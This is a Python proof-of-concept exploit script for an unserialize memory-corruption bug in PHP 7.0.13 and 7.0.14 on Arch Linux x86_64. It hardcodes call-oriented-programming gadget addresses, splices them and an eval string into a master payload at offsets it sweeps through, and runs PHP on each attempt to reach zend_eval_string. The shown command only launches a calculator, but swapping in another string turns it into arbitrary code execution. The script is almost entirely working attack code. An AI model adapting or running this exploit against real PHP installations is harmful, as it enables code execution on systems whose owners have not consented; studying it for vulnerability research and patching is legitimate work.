#!/usr/bin/python3

"""
*******************************
> Archlinux PHP-7.0.13 x86_64 <
> Archlinux PHP-7.0.14 x86_64 <
>     unserialize exploit     <
*******************************

rc0r <hlt99@blinkenshell.org>

"""

import struct
import subprocess
import sys


# addresses of COP gadgets, order matters!

# 7.0.13
gadgets = [
    0x67df50,   # &zend_eval_string()
    0x653a1d,   # lea rdi, [rbp + 0x90]; call rax
    0xbb844a,   # xchg eax, ebx; call rdx
]

# 7.0.14
gadgets = [
    0x67ed30,  # &zend_eval_string()
    0x653ddd,  # lea rdi, [rbp + 0x90]; call rax
    0xc61f52,  # xchg eax, ebx; call rdx
]

# in case exploitation does not work from scratch
# decrease off_start and try again

# fast but, more unreliable params:
# off_start = 0x3d60
# off_end   = 0x3f6c

# slower, but quite reliable
off_start = 0x3000
off_end   = 0x4f00
off_step  =    0x8


def construct_payload(master_payload, current_offset, gadgets, eval_string):
    master_payload_len = len(master_payload)

    payload = master_payload[:current_offset]

    payload += struct.pack('<QQ', gadgets[0], gadgets[1])
    payload += struct.pack('<16B', *((0x30, ) * 16))
    payload += struct.pack('<Q', gadgets[2])
    payload += struct.pack('<88B', *((0x30, ) * 88))
    payload += struct.pack('<{}s'.format(len(eval_string)), eval_string.encode('UTF-8'))
    payload += struct.pack('<B', 0x00)

    remaining_len = master_payload_len - len(payload)

    payload += struct.pack('<{}B'.format(remaining_len), *((0x30, ) * remaining_len))

    return payload


def exploit(master_payload):
    # argument to zend_eval_string
    eval_string = '`gnome-calculator`;'

    sys.stdout.write(' [')
    sys.stdout.flush()
    for offset in range(off_start, off_end, off_step):
        payload = construct_payload(master_payload, offset, gadgets, eval_string)

        fn = './gen.payload'

        with open(fn, 'wb') as f:
            f.write(payload)

        cmd = ['/usr/bin/php', './test.php', fn]
        subprocess.run(cmd, stdout=subprocess.DEVNULL,
                       stderr=subprocess.DEVNULL)

        sys.stdout.write('.')
        sys.stdout.flush()
    print(']')


def main():
    with open('payload.master', 'rb') as f:
        master_payload = f.read()

    exploit(master_payload)


if __name__ == '__main__':
    main()
